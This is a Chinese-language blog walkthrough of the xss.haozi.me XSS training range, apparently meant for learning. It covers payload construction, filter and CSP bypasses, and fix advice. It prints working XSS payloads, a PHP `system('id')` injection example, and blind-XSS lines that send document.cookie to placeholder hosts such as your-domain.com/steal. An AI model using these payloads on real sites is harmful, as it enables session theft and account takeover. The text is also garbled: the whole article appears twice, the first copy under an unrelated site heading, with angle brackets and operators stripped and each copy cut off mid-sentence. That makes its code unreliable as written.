拓冰网站优化 
1. 项目概述从靶场通关到实战思维构建最近在安全圈子里xss.haozi.me 这个靶场被讨论得挺多。它不像 DVWA 或 Pikachu 那样功能大而全而是非常聚焦专门用来锤炼和检验你对 XSS跨站脚本攻击漏洞的理解深度。我花了一些时间从头到尾通关了一遍感觉它设计得相当精巧题目由浅入深几乎覆盖了从反射型、存储型到基于 DOM 的 XSS 的各种常见场景和绕过技巧。通关本身不是目的真正的价值在于通过这个靶场你能系统性地梳理 XSS 的攻击向量、触发条件、防御绕过方法并最终形成一套可用于真实渗透测试或代码审计的 XSS 漏洞挖掘与利用思维。这篇文章我就结合自己的通关过程拆解每一关的核心考点并分享一些在实战中同样适用的技巧和避坑经验。无论你是刚接触 Web 安全的新手还是想巩固 XSS 知识体系的老手这份通关实录和思路解析都能给你带来直接的参考。2. 靶场环境与核心思路解析2.1 靶场定位与价值xss.haozi.me 靶场是一个在线的 XSS 专项挑战平台。它的特点非常鲜明没有复杂的用户系统没有多余的页面功能每一关就是一个独立的、存在 XSS 漏洞的简单页面。你的目标只有一个在指定的输入点注入有效的 JavaScript 代码成功弹出一个包含特定字符串通常是 “xss”的警告框alert。这种极简的设计迫使你将全部注意力集中在漏洞本身而不是靶场环境的各种配置上。从学习路径上看这个靶场的价值在于它的“梯度性”和“代表性”。前面的关卡可能只是简单的未过滤输入到后面会逐步引入各种过滤机制比如关键字黑名单、特殊字符编码、长度限制、CSP内容安全策略等。你需要像闯关一样不断思考“如何绕过当前的限制”。这个过程恰恰模拟了在真实网站中面对开发者实施的各种安全措施时攻击者如何寻找突破口。因此通关这个靶场不仅仅是记住几个 payload更重要的是理解每一种防护措施的原理和其潜在的弱点。2.2 基础工具与思维准备在开始挑战前你需要准备好两样东西一个浏览器和一个能拦截并修改 HTTP 请求的工具。浏览器推荐使用 Chrome 或 Firefox 的最新版本它们的开发者工具非常强大。拦截修改工具Burp Suite 是行业标准但如果你刚开始学习使用浏览器自带的开发者工具F12中的 “Network” 面板和 “Console” 面板也完全足够。对于简单的反射型 XSS你甚至可以直接在地址栏或输入框里构造 payload。更重要的准备是思维上的。你需要建立两个核心视角数据流视角追踪用户输入的数据从提交到最终在浏览器中呈现的完整路径。它经过了哪些处理函数是否被编码最终被放置在 HTML 文档的哪个位置是标签内、属性里、还是 JavaScript 代码段中上下文意识你的输入最终被解释执行的“上下文”是什么这是决定 payload 如何构造的关键。常见的上下文有HTML 文本上下文你的输入被直接当作 HTML 内容输出在页面上。HTML 属性上下文你的输入被放在某个 HTML 标签的属性值里如input value“你的输入”。JavaScript 上下文你的输入被嵌入到了script标签内的 JavaScript 代码中。URL 上下文你的输入作为 URL 的一部分。不同的上下文绕过过滤和成功执行代码的方法截然不同。在挑战每一关时第一件事就是用无害的测试字符串比如“、、、探明数据流和上下文。3. 关卡详解与Payload构造艺术下面我将选取靶场中具有代表性的关卡进行拆解并解释其背后的原理。请注意实际的 payload 可能会因靶场微调而变化但思路是通用的。3.1 初级关卡理解基础注入关卡示例无任何过滤的反射型 XSS这通常是第一关。页面有一个搜索框你输入的内容会直接回显在结果页面上。页面代码可能类似p您搜索的关键词是?php echo $_GET[‘keyword’]; ?/p攻击思路因为输入未经任何处理就放入 HTML 文本上下文所以直接构造一个完整的脚本标签即可。经典 Payloadscriptalert(‘xss’)/script实操要点提交后观察页面源代码。你应该能看到你输入的完整标签被插入到了p标签内部。这证明了漏洞的存在。在实战中这种赤裸裸的漏洞已经很少见但它是所有复杂变种的基础。3.2 中级关卡应对过滤与编码从这里开始靶场会引入各种防护考验你的绕过能力。关卡示例过滤script标签后台代码可能将script和/script字符串替换为空。攻击思路标签名被过滤但事件处理器Event Handlers可能仍然有效。我们可以尝试使用其他支持事件处理器的 HTML 标签如img,svg,body等。Payload 1利用 img 标签的 onerror 事件img src“x” onerror“alert(‘xss’)”src“x”指向一个不存在的图片必然会触发onerror事件。这里输入位于 HTML 文本上下文我们注入了一个带有恶意属性的新标签。Payload 2利用 SVG 标签svg onload“alert(‘xss’)”/svgonload事件在 SVG 元素加载完成后触发。注意事项如果过滤了onerror、onload等事件名可以尝试大小写混淆OnError、插入制表符或换行on\nerror、或者使用 HTML 实体编码部分字符后再利用浏览器的解码能力。例如如果过滤了alert可以尝试alerta被编码为a。关卡示例输入被放入 HTML 属性值例如页面代码为input type“text” value“?php echo $_GET[‘input’]; ?”。攻击思路我们的输入最初被限定在value属性的双引号内。要执行代码必须先“逃逸”出这个属性上下文然后引入新的事件属性。经典 Payload“ onmouseover“alert(‘xss’)开头的“用于闭合原有的value属性的双引号。紧接着一个空格然后添加我们自己的事件处理器onmouseover。当鼠标滑过这个输入框时代码就会执行。深入分析为什么空格很重要因为在 HTML 中属性之间需要用空格分隔。闭合引号后不加空格onmouseover会被当作前面value属性值的一部分。你也可以使用其他分隔符如/在某些特定标签后但空格是最通用的。实战技巧如果属性值没有用引号包裹如input value?php echo $input; ?逃逸就更简单了直接使用闭合前一个标签然后开始新标签即可例如svg onloadalert(‘xss’)。3.3 高级关卡DOM型XSS与编码博弈关卡示例基于DOM的XSS输出点在JavaScript中这是XSS中比较难发现和利用的一种。漏洞发生在客户端JavaScript代码动态操作DOM文档对象模型的过程中数据不经过服务器端回显。假设页面有如下JavaScript代码script var searchTerm document.getElementById(‘search’).value; document.getElementById(‘result’).innerHTML ‘您搜索了: ‘ searchTerm; /script攻击思路我们的输入searchTerm通过innerHTML属性被写入了页面的某个元素中。虽然数据流不经过服务器但最终的注入点仍然是 HTML 上下文。然而因为字符串在 JavaScript 中进行了拼接我们需要考虑 JavaScript 字符串的语法。Payload 构造首先要闭合前面的字符串‘您搜索了: ‘然后注入 HTML 标签。’; alert(‘xss’);//‘闭合前面的字符串。;结束前一条 JavaScript 语句。alert(‘xss’);执行我们的代码。//注释掉后面可能存在的其他字符比如原代码中可能有的另一个’。最终拼接后的代码变为‘您搜索了: ‘ ‘’; alert(‘xss’);//‘ …这样alert就被成功执行了。关键点你必须仔细分析数据最终被innerHTML、document.write还是eval等函数处理以及它在被处理前在 JS 字符串中处于什么位置。这需要熟练使用浏览器的“调试器”Debugger功能在相关 JavaScript 代码行设置断点一步步跟踪变量的值。关卡示例多层编码与解码有时输入会先经过一次 HTML 实体编码如变成lt;然后再输出。但如果输出点是在一个本身就会进行解码的上下文中就可能产生漏洞。场景假设输入“script”服务器端编码为“lt;scriptgt;”后存储。前端 JavaScript 读取这个值并使用innerHTML写入页面。innerHTML会自动将lt;解码为。攻击思路直接注入script会被编码而失效。但我们可以注入一个本身包含编码的 payload利用后端的“一次编码”和前端的“自动解码”来达成目的。但这通常很难。更常见的思路是寻找没有经过编码的其他输出点或者利用 JavaScript 自身的String.fromCharCode、eval、setTimeout等函数来动态构造代码。4. 实战技巧与深度绕过策略通关靶场后我们需要把技巧升华为策略。以下是一些在真实渗透测试中非常有用的高级思路。4.1 利用伪协议与短标签当标签名和事件处理器被严格过滤时伪协议javascript:是一个强大的备用方案。应用场景常用于可点击的链接a标签的href属性或者表单的action属性。Payload示例a href“javascript:alert(‘xss’)”点击我/a绕过技巧如果javascript:被过滤可以尝试大小写JavaScript:,JaVaScRiPt:插入空白符java script:(URL 解码后会忽略空格)使用 HTML 实体编码javascript:(注意分号)利用data:URIobject data“data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4”其中 base64 部分是scriptalert(‘xss’)/script的编码。短标签在某些 PHP 配置下是开启的short_open_tagOn? ?或? ?可以用来执行代码。虽然这不是严格的 XSS但在一些混合了服务端代码的渲染点可能造成意外执行。例如输入?system(‘id’)?如果被直接当作 PHP 代码解析就会执行系统命令。这在测试编辑器上传文件内容时值得留意。4.2 对抗内容安全策略CSP 是防御 XSS 的终极武器之一。它通过 HTTP 头告诉浏览器哪些外部资源可以被加载和执行。一个严格的 CSP 可以完全阻止内联脚本包括事件处理器和javascript:伪协议的执行。如何测试打开浏览器开发者工具的“网络”Network面板查看 HTTP 响应头中是否有Content-Security-Policy。常见策略与绕过script-src ‘self’只允许执行同源相同协议、域名、端口的脚本文件。绕过难度极大通常需要先找到一个同域的可控脚本文件上传点如头像上传但允许上传.js文件或者利用同域下已有的 JSONP 接口。script-src ‘nonce-xxx’只有带有特定随机数nonce的脚本标签可以执行。你需要能预测或窃取这个 nonce 值通常很难。不安全的配置如果 CSP 配置中包含了‘unsafe-inline’那么内联脚本依然有效。如果包含了*或过于宽泛的域名如script-src *那么可以从任何域加载脚本攻击者可以在自己控制的服务器上放置恶意 JS 文件并引入。实战心得遇到 CSP 不要轻易放弃。仔细分析策略寻找其中最弱的一环。有时img-src或style-src的配置更宽松可能带来基于 CSS 的数据泄露或其它攻击面。4.3 盲打XSS与外带通信在存储型 XSS 场景中漏洞触发点可能不在你当前访问的页面上例如后台管理员查看用户留言时触发。这就是“盲 XSS”。你无法直接看到弹窗需要证明代码确实被执行了。核心工具一个公开的、能记录 HTTP 请求的平台如 Burp Suite 的 Collaborator 客户端或者 RequestBin、DNSLog 等公开服务。攻击流程构造一个能发起网络请求的 payload将敏感信息如 Cookie、页面内容发送到你的监听服务器。将 payload 提交到可能存在存储型 XSS 的点如留言、个人信息。等待潜在受害者如管理员触发这个 payload。检查你的监听服务器是否收到了来自受害者浏览器的请求。Payload 示例scriptfetch(‘http://your-collaborator-domain.com/?c‘ document.cookie)/script或者使用传统的Image对象img src“x” onerror“new Image().src‘http://your-domain.com/steal?c‘encodeURIComponent(document.cookie)”注意事项盲打 XSS 的成功率依赖于触发场景的频率和 payload 的隐蔽性。要确保你的 payload 不会因为语法错误或过于明显而被过滤。同时外带通信的域名最好使用短域名或 URL 缩短服务以规避长度限制。5. 防御视角与漏洞修复建议真正理解攻击是为了更好地防御。从开发者的角度给出以下几点切实可行的修复建议严格的输入验证与输出编码输入验证在数据进入应用时根据预期的类型数字、邮箱、特定格式字符串进行白名单验证。拒绝所有不符合格式的输入。这不是防御 XSS 的主要手段但能减少攻击面。输出编码这是防御 XSS 的基石。在将数据输出到页面时必须根据其所在的上下文进行正确的编码。HTML 文本上下文使用 HTML 实体编码。将、、、“、‘分别转换为lt;、gt;、amp;、quot;、#x27;。几乎所有后端语言都有现成的函数如 PHP 的htmlspecialchars Python Jinja2 的自动转义。HTML 属性上下文同上也需要 HTML 实体编码并且属性值一定要用引号包裹。JavaScript 上下文将数据放入 JavaScript 变量时需要进行 JavaScript 编码如将”转义为\”换行转义为\n。更好的做法是避免将用户输入直接拼接进 JS 代码而是通过> XSS漏洞实战：从靶场通关到渗透测试思维构建
1. 项目概述从靶场通关到实战思维构建最近在安全圈子里xss.haozi.me 这个靶场被讨论得挺多。它不像 DVWA 或 Pikachu 那样功能大而全而是非常聚焦专门用来锤炼和检验你对 XSS跨站脚本攻击漏洞的理解深度。我花了一些时间从头到尾通关了一遍感觉它设计得相当精巧题目由浅入深几乎覆盖了从反射型、存储型到基于 DOM 的 XSS 的各种常见场景和绕过技巧。通关本身不是目的真正的价值在于通过这个靶场你能系统性地梳理 XSS 的攻击向量、触发条件、防御绕过方法并最终形成一套可用于真实渗透测试或代码审计的 XSS 漏洞挖掘与利用思维。这篇文章我就结合自己的通关过程拆解每一关的核心考点并分享一些在实战中同样适用的技巧和避坑经验。无论你是刚接触 Web 安全的新手还是想巩固 XSS 知识体系的老手这份通关实录和思路解析都能给你带来直接的参考。2. 靶场环境与核心思路解析2.1 靶场定位与价值xss.haozi.me 靶场是一个在线的 XSS 专项挑战平台。它的特点非常鲜明没有复杂的用户系统没有多余的页面功能每一关就是一个独立的、存在 XSS 漏洞的简单页面。你的目标只有一个在指定的输入点注入有效的 JavaScript 代码成功弹出一个包含特定字符串通常是 “xss”的警告框alert。这种极简的设计迫使你将全部注意力集中在漏洞本身而不是靶场环境的各种配置上。从学习路径上看这个靶场的价值在于它的“梯度性”和“代表性”。前面的关卡可能只是简单的未过滤输入到后面会逐步引入各种过滤机制比如关键字黑名单、特殊字符编码、长度限制、CSP内容安全策略等。你需要像闯关一样不断思考“如何绕过当前的限制”。这个过程恰恰模拟了在真实网站中面对开发者实施的各种安全措施时攻击者如何寻找突破口。因此通关这个靶场不仅仅是记住几个 payload更重要的是理解每一种防护措施的原理和其潜在的弱点。2.2 基础工具与思维准备在开始挑战前你需要准备好两样东西一个浏览器和一个能拦截并修改 HTTP 请求的工具。浏览器推荐使用 Chrome 或 Firefox 的最新版本它们的开发者工具非常强大。拦截修改工具Burp Suite 是行业标准但如果你刚开始学习使用浏览器自带的开发者工具F12中的 “Network” 面板和 “Console” 面板也完全足够。对于简单的反射型 XSS你甚至可以直接在地址栏或输入框里构造 payload。更重要的准备是思维上的。你需要建立两个核心视角数据流视角追踪用户输入的数据从提交到最终在浏览器中呈现的完整路径。它经过了哪些处理函数是否被编码最终被放置在 HTML 文档的哪个位置是标签内、属性里、还是 JavaScript 代码段中上下文意识你的输入最终被解释执行的“上下文”是什么这是决定 payload 如何构造的关键。常见的上下文有HTML 文本上下文你的输入被直接当作 HTML 内容输出在页面上。HTML 属性上下文你的输入被放在某个 HTML 标签的属性值里如input value“你的输入”。JavaScript 上下文你的输入被嵌入到了script标签内的 JavaScript 代码中。URL 上下文你的输入作为 URL 的一部分。不同的上下文绕过过滤和成功执行代码的方法截然不同。在挑战每一关时第一件事就是用无害的测试字符串比如“、、、探明数据流和上下文。3. 关卡详解与Payload构造艺术下面我将选取靶场中具有代表性的关卡进行拆解并解释其背后的原理。请注意实际的 payload 可能会因靶场微调而变化但思路是通用的。3.1 初级关卡理解基础注入关卡示例无任何过滤的反射型 XSS这通常是第一关。页面有一个搜索框你输入的内容会直接回显在结果页面上。页面代码可能类似p您搜索的关键词是?php echo $_GET[‘keyword’]; ?/p攻击思路因为输入未经任何处理就放入 HTML 文本上下文所以直接构造一个完整的脚本标签即可。经典 Payloadscriptalert(‘xss’)/script实操要点提交后观察页面源代码。你应该能看到你输入的完整标签被插入到了p标签内部。这证明了漏洞的存在。在实战中这种赤裸裸的漏洞已经很少见但它是所有复杂变种的基础。3.2 中级关卡应对过滤与编码从这里开始靶场会引入各种防护考验你的绕过能力。关卡示例过滤script标签后台代码可能将script和/script字符串替换为空。攻击思路标签名被过滤但事件处理器Event Handlers可能仍然有效。我们可以尝试使用其他支持事件处理器的 HTML 标签如img,svg,body等。Payload 1利用 img 标签的 onerror 事件img src“x” onerror“alert(‘xss’)”src“x”指向一个不存在的图片必然会触发onerror事件。这里输入位于 HTML 文本上下文我们注入了一个带有恶意属性的新标签。Payload 2利用 SVG 标签svg onload“alert(‘xss’)”/svgonload事件在 SVG 元素加载完成后触发。注意事项如果过滤了onerror、onload等事件名可以尝试大小写混淆OnError、插入制表符或换行on\nerror、或者使用 HTML 实体编码部分字符后再利用浏览器的解码能力。例如如果过滤了alert可以尝试alerta被编码为a。关卡示例输入被放入 HTML 属性值例如页面代码为input type“text” value“?php echo $_GET[‘input’]; ?”。攻击思路我们的输入最初被限定在value属性的双引号内。要执行代码必须先“逃逸”出这个属性上下文然后引入新的事件属性。经典 Payload“ onmouseover“alert(‘xss’)开头的“用于闭合原有的value属性的双引号。紧接着一个空格然后添加我们自己的事件处理器onmouseover。当鼠标滑过这个输入框时代码就会执行。深入分析为什么空格很重要因为在 HTML 中属性之间需要用空格分隔。闭合引号后不加空格onmouseover会被当作前面value属性值的一部分。你也可以使用其他分隔符如/在某些特定标签后但空格是最通用的。实战技巧如果属性值没有用引号包裹如input value?php echo $input; ?逃逸就更简单了直接使用闭合前一个标签然后开始新标签即可例如svg onloadalert(‘xss’)。3.3 高级关卡DOM型XSS与编码博弈关卡示例基于DOM的XSS输出点在JavaScript中这是XSS中比较难发现和利用的一种。漏洞发生在客户端JavaScript代码动态操作DOM文档对象模型的过程中数据不经过服务器端回显。假设页面有如下JavaScript代码script var searchTerm document.getElementById(‘search’).value; document.getElementById(‘result’).innerHTML ‘您搜索了: ‘ searchTerm; /script攻击思路我们的输入searchTerm通过innerHTML属性被写入了页面的某个元素中。虽然数据流不经过服务器但最终的注入点仍然是 HTML 上下文。然而因为字符串在 JavaScript 中进行了拼接我们需要考虑 JavaScript 字符串的语法。Payload 构造首先要闭合前面的字符串‘您搜索了: ‘然后注入 HTML 标签。’; alert(‘xss’);//‘闭合前面的字符串。;结束前一条 JavaScript 语句。alert(‘xss’);执行我们的代码。//注释掉后面可能存在的其他字符比如原代码中可能有的另一个’。最终拼接后的代码变为‘您搜索了: ‘ ‘’; alert(‘xss’);//‘ …这样alert就被成功执行了。关键点你必须仔细分析数据最终被innerHTML、document.write还是eval等函数处理以及它在被处理前在 JS 字符串中处于什么位置。这需要熟练使用浏览器的“调试器”Debugger功能在相关 JavaScript 代码行设置断点一步步跟踪变量的值。关卡示例多层编码与解码有时输入会先经过一次 HTML 实体编码如变成lt;然后再输出。但如果输出点是在一个本身就会进行解码的上下文中就可能产生漏洞。场景假设输入“script”服务器端编码为“lt;scriptgt;”后存储。前端 JavaScript 读取这个值并使用innerHTML写入页面。innerHTML会自动将lt;解码为。攻击思路直接注入script会被编码而失效。但我们可以注入一个本身包含编码的 payload利用后端的“一次编码”和前端的“自动解码”来达成目的。但这通常很难。更常见的思路是寻找没有经过编码的其他输出点或者利用 JavaScript 自身的String.fromCharCode、eval、setTimeout等函数来动态构造代码。4. 实战技巧与深度绕过策略通关靶场后我们需要把技巧升华为策略。以下是一些在真实渗透测试中非常有用的高级思路。4.1 利用伪协议与短标签当标签名和事件处理器被严格过滤时伪协议javascript:是一个强大的备用方案。应用场景常用于可点击的链接a标签的href属性或者表单的action属性。Payload示例a href“javascript:alert(‘xss’)”点击我/a绕过技巧如果javascript:被过滤可以尝试大小写JavaScript:,JaVaScRiPt:插入空白符java script:(URL 解码后会忽略空格)使用 HTML 实体编码javascript:(注意分号)利用data:URIobject data“data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4”其中 base64 部分是scriptalert(‘xss’)/script的编码。短标签在某些 PHP 配置下是开启的short_open_tagOn? ?或? ?可以用来执行代码。虽然这不是严格的 XSS但在一些混合了服务端代码的渲染点可能造成意外执行。例如输入?system(‘id’)?如果被直接当作 PHP 代码解析就会执行系统命令。这在测试编辑器上传文件内容时值得留意。4.2 对抗内容安全策略CSP 是防御 XSS 的终极武器之一。它通过 HTTP 头告诉浏览器哪些外部资源可以被加载和执行。一个严格的 CSP 可以完全阻止内联脚本包括事件处理器和javascript:伪协议的执行。如何测试打开浏览器开发者工具的“网络”Network面板查看 HTTP 响应头中是否有Content-Security-Policy。常见策略与绕过script-src ‘self’只允许执行同源相同协议、域名、端口的脚本文件。绕过难度极大通常需要先找到一个同域的可控脚本文件上传点如头像上传但允许上传.js文件或者利用同域下已有的 JSONP 接口。script-src ‘nonce-xxx’只有带有特定随机数nonce的脚本标签可以执行。你需要能预测或窃取这个 nonce 值通常很难。不安全的配置如果 CSP 配置中包含了‘unsafe-inline’那么内联脚本依然有效。如果包含了*或过于宽泛的域名如script-src *那么可以从任何域加载脚本攻击者可以在自己控制的服务器上放置恶意 JS 文件并引入。实战心得遇到 CSP 不要轻易放弃。仔细分析策略寻找其中最弱的一环。有时img-src或style-src的配置更宽松可能带来基于 CSS 的数据泄露或其它攻击面。4.3 盲打XSS与外带通信在存储型 XSS 场景中漏洞触发点可能不在你当前访问的页面上例如后台管理员查看用户留言时触发。这就是“盲 XSS”。你无法直接看到弹窗需要证明代码确实被执行了。核心工具一个公开的、能记录 HTTP 请求的平台如 Burp Suite 的 Collaborator 客户端或者 RequestBin、DNSLog 等公开服务。攻击流程构造一个能发起网络请求的 payload将敏感信息如 Cookie、页面内容发送到你的监听服务器。将 payload 提交到可能存在存储型 XSS 的点如留言、个人信息。等待潜在受害者如管理员触发这个 payload。检查你的监听服务器是否收到了来自受害者浏览器的请求。Payload 示例scriptfetch(‘http://your-collaborator-domain.com/?c‘ document.cookie)/script或者使用传统的Image对象img src“x” onerror“new Image().src‘http://your-domain.com/steal?c‘encodeURIComponent(document.cookie)”注意事项盲打 XSS 的成功率依赖于触发场景的频率和 payload 的隐蔽性。要确保你的 payload 不会因为语法错误或过于明显而被过滤。同时外带通信的域名最好使用短域名或 URL 缩短服务以规避长度限制。5. 防御视角与漏洞修复建议真正理解攻击是为了更好地防御。从开发者的角度给出以下几点切实可行的修复建议严格的输入验证与输出编码输入验证在数据进入应用时根据预期的类型数字、邮箱、特定格式字符串进行白名单验证。拒绝所有不符合格式的输入。这不是防御 XSS 的主要手段但能减少攻击面。输出编码这是防御 XSS 的基石。在将数据输出到页面时必须根据其所在的上下文进行正确的编码。HTML 文本上下文使用 HTML 实体编码。将、、、“、‘分别转换为lt;、gt;、amp;、quot;、#x27;。几乎所有后端语言都有现成的函数如 PHP 的htmlspecialchars Python Jinja2 的自动转义。HTML 属性上下文同上也需要 HTML 实体编码并且属性值一定要用引号包裹。JavaScript 上下文将数据放入 JavaScript 变量时需要进行 JavaScript 编码如将”转义为\”换行转义为\n。更好的做法是避免将用户输入直接拼接进 JS 代码而是通过>